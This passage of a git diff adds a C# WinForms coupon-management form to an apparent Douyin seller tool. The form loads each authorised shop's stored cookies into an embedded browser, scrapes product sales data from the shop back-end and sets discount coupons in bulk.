this.cmbUserCountLimited.SelectedIndex = 0; + this.dtpStartApplyTime.Value = DateTime.Now.Date; + this.dtpEndApplyTime.Value = this.dtpStartApplyTime.Value.AddDays(1).AddSeconds(-1); + } + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + lstShopId.Clear(); + foreach (DataGridViewRow row in dgvShop.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + lstShopId.Clear(); + var list = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功" && s.LoginStatus == "登录成功").Select(ss => ss.ShopAccountId); + lstShopId.AddRange(list); + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (list.Any(l => l == row.Cells["colShopId"]?.Value?.ToString())) + row.Cells["colSelect"].Value = true; + } + } + } + + private void CouponForm_VisibleChanged(object sender, EventArgs e) + { + if (Visible == true) + RefreshShop(); + } + + private void btnRefreshShop_Click(object sender, EventArgs e) + { + RefreshShop(); + } + + private void RefreshShop() + { + // 更新选中的上货店铺Id + lstShopId = lstShopId.Where(id => GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == id && s.LoginStatus == "已授权")).ToList(); + // 获取被删除的店铺 + List dgvRowList = dgvShop.Rows.Cast().Where(row + => !GlobalConfig.DouShopLoginList.Any(s => s.ShopAccountId == row.Cells["colShopId"]?.Value?.ToString())).ToList(); + // 更新被删除的店铺列表 + foreach (var row in dgvRowList) + { + dgvShop.Rows.Remove(row); + } + // 绑定其他店铺(含新导入的店铺) + foreach (DouShopLoginInfo shopEntity in GlobalConfig.DouShopLoginList) + { + BindShop(shopEntity); + } + } + + private void BindShop(DouShopLoginInfo shopEntity) + { + if (shopEntity == null) + return; + + bool canUse = shopEntity.ApiAuthStatus == "授权成功" && shopEntity.LoginStatus == "登录成功"; + var row = dgvShop.Rows.Cast().FirstOrDefault(p => p.Cells.GetCellValueFromColumnName("colShopId").ParseToString() == shopEntity.ShopAccountId); + if (row == null) + { + this.dgvShop.Rows.Add( + lstShopId.Contains(shopEntity.ShopAccountId) && canUse, + shopEntity.ShopAccountId, + shopEntity.ShopAccount, + shopEntity.ApiAuthStatus, + shopEntity.LoginStatus, + canUse, + string.Empty + ); + } + else + { + row.Cells["colSelect"].Value = lstShopId.Contains(shopEntity.ShopAccountId) && canUse; + row.Cells["colShopName"].Value = shopEntity.ShopAccount; + row.Cells["colAuthStatus"].Value = shopEntity.ApiAuthStatus; + row.Cells["colLoginStatus"].Value = shopEntity.LoginStatus; + row.Cells["colCanUse"].Value = canUse; + } + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvShop.Columns[e.ColumnIndex].HeaderText; + string columnName = dgvShop.Columns[e.ColumnIndex].Name; + long shopId = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ParseToLong(); + string shopName = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ToString(); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId.ToString()); + var row = dgvShop.Rows[e.RowIndex]; + switch (columnName) + { + case "colSelect": + if (row.Cells["colCanUse"].Value.ParseToBool()) + { + row.Cells["colSelect"].Value = !row.Cells["colSelect"].Value.ParseToBool(); + if (dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool()) + lstShopId.Add(shopId.ToString()); + else + lstShopId.Remove(shopId.ToString()); + if (dgvShop.Rows.Cast().All(r => r.Cells["colSelect"].Value.ParseToBool())) + chkSelectAll.Checked = true; + else + chkSelectAll.Checked = false; + } + else + { + BaseMsgForm.ShowInfo("店铺未授权或未登录!"); + } + break; + } + } + + private void btnGetProduct_Click(object sender, EventArgs e) + { + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择店铺!"); + return; + } + try + { + this.keywords = txtProductName.Text.Trim().Split(new string[] { "\r", "\n", ",", "," }, StringSplitOptions.RemoveEmptyEntries).ToList(); + this.filterWords = txtFilter.Text.Trim().Split(new string[] { "\r", "\n", ",", "," }, StringSplitOptions.RemoveEmptyEntries).ToList(); + } + catch (Exception ex) + { + } + + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + foreach (var shopId in lstShopId) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + CouponShopForm couponShopForm = null; + Invoke(new Action(() => + { + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount && t.Name == "tab" + shop.ShopAccountId); + if (tab == null) + { + tab = new TabPage(); + tab.Name = "tab" + shop.ShopAccountId; + tab.Text = shop.ShopAccount; + this.ucTabControl1.TabPages.Add(tab); + + var form = new CouponShopForm(shop); + form.couponForm = this; + form.TopLevel = false; + form.Left = 0; + form.Top = 0; + form.FormBorderStyle = FormBorderStyle.None; + form.AutoSize = true; + form.Dock = DockStyle.Fill; + form.Show(); + tab.Controls.Add(form); + } + + if (tab.Controls.Count > 0) + couponShopForm = tab.Controls[0] as CouponShopForm; + })); + + if (couponShopForm != null) + { + couponShopForm.GetProduct( + txtPriceMin.Text.ParseToDecimal(), + txtPriceMax.Text.ParseToDecimal(), + txtSaleMin.Text.ParseToInt(), + txtSaleMax.Text.ParseToInt(), + this.keywords, + this.filterWords); + } + } + }, cancellationTokenSource.Token); + } + + public void GetSales(DouShopLoginInfo shop, bool isSales = true) + { + if (webBrowser == null) + { + Invoke(new Action(() => + { + webBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + webBrowser.KeyboardHandler = new KeyboardHandler(); + webBrowser.Dock = DockStyle.Fill; + CustomResourceRequestHandlerLocal resourceRequestHandler = new Helper.CustomResourceRequestHandlerLocal(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadCompleteEvent; + webBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + webBrowser.LifeSpanHandler = new LifeSpanHandlerLocal(PopWindowType.SelfWindow); + webBrowser.SendToBack(); + this.splitContainer1.Panel2.Controls.Add(webBrowser); + })); + } + + while (webBrowser.Tag != null) + { + Thread.Sleep(Randomx.GetId(50, 100)); + } + if (cancellationTokenSource.IsCancellationRequested) + return; + + webBrowser.Tag = shop; + + while (!webBrowser.IsBrowserInitialized || webBrowser.IsLoading) + continue; + + var cookie = shop.Cookies; + CEFBrowser.DeleteCookie(webBrowser.RequestContext.GetCookieManager(null)); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, webBrowser.RequestContext.GetCookieManager(null)); + t.Wait(2000); + Thread.Sleep(500); + + var targetUrl = "https://fxg.jinritemai.com/ffa/g/list"; + webBrowser.Load(targetUrl); + + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(3000); + + if (!isSales) + { + Thread.Sleep(3000); + var jsStrBase = "function clickProductAnalysis(txt) {\r\n" + + "var child = document.body.firstElementChild;\r\n" + + "var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " element1.click(); return 'success';\r\n" + + " } else return 'no_element';\r\n" + + "}\r\n"; + var jsStr = jsStrBase + "clickProductAnalysis('电商罗盘');\r\n"; + t = webBrowser.GetMainFrame().EvaluateScriptAsync(jsStr); + t.Wait(); + + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(Randomx.GetId(1500, 2500)); + + jsStr = jsStrBase + "clickProductAnalysis('商品概览');\r\n"; + t = webBrowser.GetMainFrame().EvaluateScriptAsync(jsStr); + t.Wait(); + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(Randomx.GetId(1500, 2500)); + } + while (webBrowser.Tag != null) + { + Thread.Sleep(Randomx.GetId(50, 100)); + } + Thread.Sleep(3000); + } + + private void RequestHandler_ResourceLoadCompleteEvent(object sender, string url, string postData, string responseData, CefSharp.IRequest iRequest) + { + if (url.StartsWith("https://fxg.jinritemai.com/product/tproduct/list?page=0") && url.Contains("&pay_type=")) + { + var listUrl = url; + var referrerUrl = iRequest.ReferrerUrl; + var result = responseData; + Dictionary Headers = new Dictionary(); + foreach (var hk in iRequest.Headers.AllKeys) + { + Headers[hk] = iRequest.Headers[hk]; + } + if (webBrowser.Tag != null) + { + var shop = webBrowser.Tag as DouShopLoginInfo; + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount && t.Name == "tab" + shop.ShopAccountId); + var clearForm = tab.Controls[0] as CouponShopForm; + + Task.Run(() => + { + int total = -1; + int number = 0; + for (int i = 0; i < 10000; i++) + { + number += 20; + result = ""; + for (int j = 0; j < 3 && !result.Contains("\"st\":0"); j++) + { + CommonSimRequest simRequest = new CommonSimRequest(); + simRequest.Accept = "application/json, text/plain, */*"; + if (Headers.ContainsKey("Accept")) + simRequest.Accept = Headers["Accept"]; + if (Headers.ContainsKey("UserAgent")) + simRequest.UserAgent = Headers["UserAgent"]; + var cookie = shop.Cookies; + + var rUrl = listUrl.Replace("page=0", "page=" + i) + .Replace("&pay_type=", "&pay_type=&sell_num_min=1"); + + result = simRequest.Request_Get(rUrl, referrerUrl, new Dictionary(), cookie); + if (j > 0) + { + Thread.Sleep(Randomx.GetId(2000, 3000)); + } + } + + if (result.Contains("\"st\":0") && !cancellationTokenSource.IsCancellationRequested) + { + clearForm.isGetProductSalesSuccess = true; + + if (total == -1) + { + total = BaseRegex.GetIntJson(ref result, "total"); + } + var jObj = JObject.Parse(result); + var jArr = jObj["data"] as JArray; + foreach (var productObj in jArr) + { + var prod = JsonHelper.SerializeObject(productObj); + var pId = BaseRegex.GetStringJson(ref prod, "product_id"); + var sales = BaseRegex.GetIntJson(ref prod, "sell_num"); + if (sales == 0) + { + number = 99999999; + break; + } + else + { + clearForm.dicProductSales[pId] = sales; + } + } + Thread.Sleep(Randomx.GetId(2000, 3000)); + } + else + { + clearForm.isGetProductSalesSuccess = false; + webBrowser.Tag = null; + break; + } + + if (number >= total) + break; + } + + webBrowser.Tag = null; + Thread.Sleep(1000); + }); + } + else + { + webBrowser.Tag = null; + } + } + } + + private void lblProductName_Click(object sender, EventArgs e) + { + if (this.webBrowser != null) + { + webBrowser.SendToBack(); + } + } + + private void lblProductName_DoubleClick(object sender, EventArgs e) + { + if (this.webBrowser != null) + { + webBrowser.BringToFront(); + } + } + + private void btnSet_Click(object sender, EventArgs e) + { + cancellationTokenSource = new CancellationTokenSource(); + + int periodType = this.rbUseTypePeriod.Checked ? 1 : 2; + int favouredType = 41; + if (this.cmbType.Text == "商品直减券") + favouredType = 42; + else if (this.cmbType.Text == "商品满减券") + favouredType = 43; + int days = this.nudDays.Text.ParseToInt(); + int startApplyTime = BaseClass.DateTimeToTimestampSeconds(this.dtpStartApplyTime.Value); + int endApplyTime = BaseClass.DateTimeToTimestampSeconds(this.dtpEndApplyTime.Value); + int startUseTime = BaseClass.DateTimeToTimestampSeconds(this.dtpStartUseTime.Value.Date); + int endUseTime = BaseClass.DateTimeToTimestampSeconds(this.dtpEndUseTime.Value.Date.AddDays(1).AddSeconds(-1)); + int totalCount = nudTotalCount.Value.ParseToInt(); + int countLimit = 1; + decimal discount = this.nudCredit.Value.ParseToDecimal(); // 折扣 + int thresHold = this.nudThresHold.Value.ParseToInt(); // 满x元 单位元 + int credit = this.nudCredit.Value.ParseToInt(); // 减x元 单位元 + bool igonre = rbNotReckonIn.Checked; + bool oneProductEachCoupon = this.rbOneProductEachCoupon.Checked; + + Task.Run(() => + { + int i = 0; + List tList = new List(); + foreach (TabPage tp in ucTabControl1.TabPages) + { + i++; + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在设置优惠券"; + this.statusBar.pgbTaskProgress.Value = i; + this.statusBar.pgbTaskProgress.Text = i + "/" + ucTabControl1.TabPages.Count; + this.statusBar.pgbTaskProgress.Maximum = ucTabControl1.TabPages.Count; + })); + + if (tp.Controls.Count > 0) + { + var cForm = tp.Controls[0] as CouponShopForm; + if (cForm != null) + { + var t = Task.Run(() => + { + cForm.SetCoupon(periodType, favouredType, startApplyTime, endApplyTime, startUseTime, endUseTime, days, totalCount, countLimit, discount, thresHold, credit, igonre, oneProductEachCoupon); + }); + tList.Add(t); + if (tList.Count >= 10) + Task.WaitAny(tList.ToArray()); + + var ts = tList.Where(t1 => t1.IsCompleted || t1.IsCanceled || t1.IsFaulted); + foreach (var t1 in ts) + { + tList.Remove(t1); + } + } + } + } + Task.WaitAll(tList.ToArray()); + tList.Clear(); + + Invoke(new Action(() => + { + if (cancellationTokenSource.IsCancellationRequested) + { + this.statusBar.lblTaskStatus.Text = "设置中断"; + } + else + { + this.statusBar.lblTaskStatus.Text = "设置完成"; + } + this.statusBar.pgbTaskProgress.Value = 0; + this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + this.statusBar.pgbTaskProgress.Maximum = 0; + })); + }, cancellationTokenSource.Token); + } + + private void btnStopOperate_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + } + + private void btnStopGetProduct_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + } + + private void rbUseTypePeriod_CheckedChanged(object sender, EventArgs e) + { + if (rbUseTypePeriod.Checked) + { + pnlTimePeriod.Visible = true; + lblUseTypeText.Text = "日期范围"; + } + else + { + pnlTimePeriod.Visible = false; + lblUseTypeText.Text = "领券当日起"; + } + } + + private void pbPaste1_Click(object sender, EventArgs e) + { + IDataObject iData = Clipboard.GetDataObject(); + if (iData != null && iData.GetDataPresent(DataFormats.Text)) + { + txtProductName.Text = (string)iData.GetData(DataFormats.Text); + } + } + + private void pbPaste2_Click(object sender, EventArgs e) + { + IDataObject iData = Clipboard.GetDataObject(); + if (iData != null && iData.GetDataPresent(DataFormats.Text)) + { + txtFilter.Text = (string)iData.GetData(DataFormats.Text); + } + } + + private void btnClear_Click(object sender, EventArgs e) + { + if (BaseMsgForm.ShowConfirm("确定要清空结果吗?清空后需要重新获取!").DialogResult == DialogResult.OK) + { + foreach (TabPage tp in ucTabControl1.TabPages) + { + if (tp.Controls.Count > 0) + { + if (tp.Text.Contains("活动管理")) + { + //var managerActiveForm = tp.Controls[0] as LimitedSalesManagerActiveForm; + //if (managerActiveForm != null) + // managerActiveForm.ClearData(); + //if (splitContainer4.Panel1.Controls.Count == 2) + // splitContainer4.Panel1.Controls.RemoveAt(1); + } + else + { + var salesForm = tp.Controls[0] as CouponShopForm; + if (salesForm != null) + salesForm.ClearData(); + } + } + } + } + } + + private void cmbType_SelectedIndexChanged(object sender, EventArgs e) + { + if (cmbType.Text == "商品折扣券") + { + this.lblDiscountText.Text = "  折扣"; + nudCredit.Minimum = 0.1M; + nudCredit.Increment = 0.1M; + nudCredit.Maximum = 9.9M; + nudCredit.DecimalPlaces = 1; + nudCredit.Value = 9.9M; + lblCreditText.Text = "折"; + nudThresHold.Visible = false; + lblThresHold.Visible = false; + } + else if (cmbType.Text == "商品直减券") + { + this.lblDiscountText.Text = "直减面额"; + nudCredit.Minimum = 1; + nudCredit.Increment = 1; + nudCredit.Maximum = 1000; + nudCredit.DecimalPlaces = 0; + nudCredit.Value = 1; + lblCreditText.Text = "元"; + nudThresHold.Visible = false; + lblThresHold.Visible = false; + } + else + { + this.lblDiscountText.Text = "满减 满"; + nudCredit.Minimum = 1; + nudCredit.Increment = 1; + nudCredit.Maximum = 99999; + nudCredit.DecimalPlaces = 0; + nudCredit.Value = 1; + lblCreditText.Text = "元"; + nudThresHold.Visible = true; + lblThresHold.Visible = true; + } + } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/CouponForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/CouponForm.resx new file mode 100644 index 0000000..82921c0 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/CouponForm.resx @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/CouponMulitAddForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/CouponMulitAddForm.Designer.cs new file mode 100644 index 0000000..367a5ec --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/CouponMulitAddForm.Designer.cs @@ -0,0 +1,335 @@ +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class CouponMulitAddForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CouponMulitAddForm)); + this.panel2 = new System.Windows.Forms.Panel(); + this.panel4 = new System.Windows.Forms.Panel(); + this.rbUseTypeDays = new System.Windows.Forms.RadioButton(); + this.rbUseTypePeriod = new System.Windows.Forms.RadioButton(); + this.label17 = new System.Windows.Forms.Label(); + this.rbAllProductEachCoupon = new System.Windows.Forms.RadioButton(); + this.rbOneProductEachCoupon = new System.Windows.Forms.RadioButton(); + this.btnSet = new DevComponents.DotNetBar.PanelEx(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.label10 = new System.Windows.Forms.Label(); + this.label9 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.lblUseTypeText = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.label13 = new System.Windows.Forms.Label(); + this.label11 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.panel3 = new System.Windows.Forms.Panel(); + this.lblAdd = new System.Windows.Forms.LinkLabel(); + this.ucCouponAddParam = new LittleRabbit.LittleRabbitForms.SalesCenterForms.UcCouponAddParam(); + this.panel2.SuspendLayout(); + this.panel4.SuspendLayout(); + this.panel3.SuspendLayout(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.panel4); + this.panel2.Controls.Add(this.label17); + this.panel2.Controls.Add(this.rbAllProductEachCoupon); + this.panel2.Controls.Add(this.rbOneProductEachCoupon); + this.panel2.Controls.Add(this.btnSet); + this.panel2.Controls.Add(this.label2); + this.panel2.Controls.Add(this.label1); + this.panel2.Controls.Add(this.label10); + this.panel2.Controls.Add(this.label9); + this.panel2.Controls.Add(this.label8); + this.panel2.Controls.Add(this.lblUseTypeText); + this.panel2.Controls.Add(this.label4); + this.panel2.Controls.Add(this.label13); + this.panel2.Controls.Add(this.label11); + this.panel2.Controls.Add(this.label6); + this.panel2.Controls.Add(this.panel3); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(1198, 666); + this.panel2.TabIndex = 1; + // + // panel4 + // + this.panel4.Controls.Add(this.rbUseTypeDays); + this.panel4.Controls.Add(this.rbUseTypePeriod); + this.panel4.Location = new System.Drawing.Point(621, 14); + this.panel4.Name = "panel4"; + this.panel4.Size = new System.Drawing.Size(174, 21); + this.panel4.TabIndex = 575; + // + // rbUseTypeDays + // + this.rbUseTypeDays.AutoSize = true; + this.rbUseTypeDays.Location = new System.Drawing.Point(81, 0); + this.rbUseTypeDays.Name = "rbUseTypeDays"; + this.rbUseTypeDays.Size = new System.Drawing.Size(74, 21); + this.rbUseTypeDays.TabIndex = 466; + this.rbUseTypeDays.Text = "有效天数"; + this.rbUseTypeDays.UseVisualStyleBackColor = true; + // + // rbUseTypePeriod + // + this.rbUseTypePeriod.AutoSize = true; + this.rbUseTypePeriod.Checked = true; + this.rbUseTypePeriod.Location = new System.Drawing.Point(4, 0); + this.rbUseTypePeriod.Name = "rbUseTypePeriod"; + this.rbUseTypePeriod.Size = new System.Drawing.Size(74, 21); + this.rbUseTypePeriod.TabIndex = 465; + this.rbUseTypePeriod.TabStop = true; + this.rbUseTypePeriod.Text = "日期范围"; + this.rbUseTypePeriod.UseVisualStyleBackColor = true; + this.rbUseTypePeriod.CheckedChanged += new System.EventHandler(this.rbUseTypePeriod_CheckedChanged); + // + // label17 + // + this.label17.AutoSize = true; + this.label17.Location = new System.Drawing.Point(562, 16); + this.label17.Name = "label17"; + this.label17.Size = new System.Drawing.Size(68, 17); + this.label17.TabIndex = 574; + this.label17.Text = "使用时间:"; + // + // rbAllProductEachCoupon + // + this.rbAllProductEachCoupon.AutoSize = true; + this.rbAllProductEachCoupon.Checked = true; + this.rbAllProductEachCoupon.Location = new System.Drawing.Point(212, 14); + this.rbAllProductEachCoupon.Name = "rbAllProductEachCoupon"; + this.rbAllProductEachCoupon.Size = new System.Drawing.Size(307, 21); + this.rbAllProductEachCoupon.TabIndex = 570; + this.rbAllProductEachCoupon.TabStop = true; + this.rbAllProductEachCoupon.Text = "所有商品设置同一组优惠券(每200件商品一组优惠券)"; + this.rbAllProductEachCoupon.UseVisualStyleBackColor = true; + // + // rbOneProductEachCoupon + // + this.rbOneProductEachCoupon.AutoSize = true; + this.rbOneProductEachCoupon.Location = new System.Drawing.Point(52, 14); + this.rbOneProductEachCoupon.Name = "rbOneProductEachCoupon"; + this.rbOneProductEachCoupon.Size = new System.Drawing.Size(146, 21); + this.rbOneProductEachCoupon.TabIndex = 569; + this.rbOneProductEachCoupon.Text = "每件商品单独置优惠券"; + this.rbOneProductEachCoupon.UseVisualStyleBackColor = true; + // + // btnSet + // + this.btnSet.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSet.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSet.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSet.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSet.Location = new System.Drawing.Point(23, 621); + this.btnSet.Name = "btnSet"; + this.btnSet.Size = new System.Drawing.Size(80, 23); + this.btnSet.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSet.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSet.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSet.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSet.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSet.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSet.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSet.Style.GradientAngle = 90; + this.btnSet.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSet.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSet.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSet.TabIndex = 565; + this.btnSet.Text = "批量设置"; + this.btnSet.Click += new System.EventHandler(this.btnGetProduct_Click); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(32, 45); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(68, 17); + this.label2.TabIndex = 558; + this.label2.Text = "优惠券名称"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(1127, 45); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(56, 17); + this.label1.TabIndex = 557; + this.label1.Text = "设置状态"; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(851, 45); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(56, 17); + this.label10.TabIndex = 554; + this.label10.Text = "优惠条件"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(748, 45); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(56, 17); + this.label9.TabIndex = 553; + this.label9.Text = "优惠内容"; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(640, 45); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(80, 17); + this.label8.TabIndex = 552; + this.label8.Text = "价格风险预警"; + // + // lblUseTypeText + // + this.lblUseTypeText.AutoSize = true; + this.lblUseTypeText.Location = new System.Drawing.Point(453, 45); + this.lblUseTypeText.Name = "lblUseTypeText"; + this.lblUseTypeText.Size = new System.Drawing.Size(56, 17); + this.lblUseTypeText.TabIndex = 550; + this.lblUseTypeText.Text = "日期范围"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(126, 45); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(56, 17); + this.label4.TabIndex = 549; + this.label4.Text = "领取开始"; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(1057, 45); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(56, 17); + this.label13.TabIndex = 556; + this.label13.Text = "每人限领"; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(990, 45); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(44, 17); + this.label11.TabIndex = 555; + this.label11.Text = "发放量"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(289, 45); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(56, 17); + this.label6.TabIndex = 551; + this.label6.Text = "领取结束"; + // + // panel3 + // + this.panel3.AutoScroll = true; + this.panel3.Controls.Add(this.lblAdd); + this.panel3.Controls.Add(this.ucCouponAddParam); + this.panel3.Location = new System.Drawing.Point(10, 70); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(1180, 545); + this.panel3.TabIndex = 1; + // + // lblAdd + // + this.lblAdd.AutoSize = true; + this.lblAdd.Location = new System.Drawing.Point(22, 56); + this.lblAdd.Name = "lblAdd"; + this.lblAdd.Size = new System.Drawing.Size(92, 17); + this.lblAdd.TabIndex = 1; + this.lblAdd.TabStop = true; + this.lblAdd.Text = "增加优惠券设置"; + this.lblAdd.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.lblAdd_LinkClicked); + // + // ucCouponAddParam + // + this.ucCouponAddParam.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.ucCouponAddParam.Location = new System.Drawing.Point(0, 0); + this.ucCouponAddParam.Name = "ucCouponAddParam"; + this.ucCouponAddParam.Size = new System.Drawing.Size(1180, 40); + this.ucCouponAddParam.TabIndex = 0; + this.ucCouponAddParam.OnClose += new LittleRabbit.LittleRabbitForms.SalesCenterForms.UcCouponAddParam.CloseCouponAdd(this.couponAddParamControl1_OnClose); + // + // CouponMulitAddForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(1200, 700); + this.Controls.Add(this.panel2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "CouponMulitAddForm"; + this.Text = "批量设置"; + this.TitleText = "批量设置"; + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.panel4.ResumeLayout(false); + this.panel4.PerformLayout(); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private UcCouponAddParam ucCouponAddParam; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.LinkLabel lblAdd; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Label lblUseTypeText; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private DevComponents.DotNetBar.PanelEx btnSet; + private System.Windows.Forms.RadioButton rbAllProductEachCoupon; + private System.Windows.Forms.RadioButton rbOneProductEachCoupon; + private System.Windows.Forms.Panel panel4; + private System.Windows.Forms.RadioButton rbUseTypeDays; + private System.Windows.Forms.RadioButton rbUseTypePeriod; + private System.Windows.Forms.Label label17; + } +} 